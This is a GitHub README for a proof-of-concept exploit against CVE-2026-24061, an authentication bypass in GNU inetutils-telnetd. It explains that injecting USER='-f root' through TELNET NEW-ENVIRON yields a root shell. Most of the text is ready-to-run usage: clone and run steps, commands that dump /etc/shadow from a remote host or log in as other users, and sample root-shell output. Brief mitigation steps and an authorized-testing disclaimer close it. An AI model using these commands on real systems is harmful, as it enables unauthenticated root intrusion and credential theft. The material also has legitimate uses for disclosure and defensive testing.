balgan/cve-2026-24061inetutils-telnetd Authentication Bypass - working
A proof-of-concept exploit for the authentication bypass vulnerability in GNU inetutils-telnetd.
CVE-2026-24061 is a critical authentication bypass vulnerability affecting inetutils-telnetd versions 1.9.3 through 2.7. It allows a remote attacker to obtain a root shell on vulnerable systems without providing any credentials.
| Field | Value |
|---|
| CVE ID | CVE-2026-24061 |
| Affected Software | GNU inetutils-telnetd |
| Affected Versions | 1.9.3 – 2.7 |
| Vulnerability Type | Authentication Bypass |
| CVSS Score | Critical |
| Attack Vector | Network |
The vulnerability exploits a flaw in how telnetd handles the USER environment variable received via the TELNET NEW-ENVIRON option (RFC 1572) during protocol negotiation.
TELNET Protocol Negotiation: When a client connects, the server and client negotiate capabilities including the NEW-ENVIRON option, which allows the client to send environment variables.
Malicious USER Value: The exploit sends USER=-f root as an environment variable during this negotiation phase.
Unsafe Argument Passing: The vulnerable telnetd passes this value unsanitized to the login program.
Command Injection: The login program interprets -f root as command-line flags:
-f = "force login without authentication"root = the username to log in asRoot Access: The attacker gains a root shell without ever being prompted for a password.
Client sends: USER = "-f root"
telnetd runs: login -f root
Result: Root shell granted without authentication
This is equivalent to running USER='-f root' telnet -a localhost on a system with a vulnerable telnetd.
git clone https://github.com/yourusername/CVE-2026-24061.git
cd CVE-2026-24061
chmod +x exploit.py
./exploit.py [OPTIONS] <target>
| Option | Description | Default |
|---|---|---|
host | Target hostname or IP address | Required |
-p, --port | Target port | 23 |
-u, --user | USER value to inject | -f root |
-c, --command | Run a single command (non-interactive) | None |
-t, --timeout | Connection timeout in seconds | 10 |
Interactive root shell on localhost:
./exploit.py localhost
Interactive root shell on remote host:
./exploit.py 192.168.1.100
Execute a single command and exit:
./exploit.py -c "id" localhost
./exploit.py -c "cat /etc/shadow" 192.168.1.100
./exploit.py -c "whoami && hostname" target.local
Login as a different user:
./exploit.py -u "-f admin" localhost
./exploit.py -u "-f postgres" database-server
Non-standard port:
./exploit.py -p 2323 localhost
Combine options:
./exploit.py -p 2323 -c "uname -a" -t 5 192.168.1.100
When run without the -c flag, the exploit drops you into an interactive shell:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - inetutils-telnetd Authentication Bypass ║
║ Affects: inetutils-telnetd 1.9.3 - 2.7 ║
╚══════════════════════════════════════════════════════════════╝
[*] Connected to 192.168.1.100:23
[*] Negotiating TELNET options...
[*] Agreed to NEW-ENVIRON (sending USER='-f root')
[+] Sent USER='-f root' via NEW-ENVIRON
Linux vulnerable-host 5.15.0 #1 SMP x86_64 GNU/Linux
root@vulnerable-host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnerable-host:~#
Disable telnetd: If not strictly required, disable the telnet service entirely
sudo systemctl stop inetutils-telnetd
sudo systemctl disable inetutils-telnetd
Use SSH instead: Replace telnet with SSH for remote access
sudo apt install openssh-server
Firewall rules: Block port 23 from untrusted networks
sudo ufw deny 23/tcp
The exploit implements a minimal TELNET client that:
USER=-f root in the ENV_IS responseThis tool is provided for educational and authorized security testing purposes only.
MIT License — See LICENSE for details.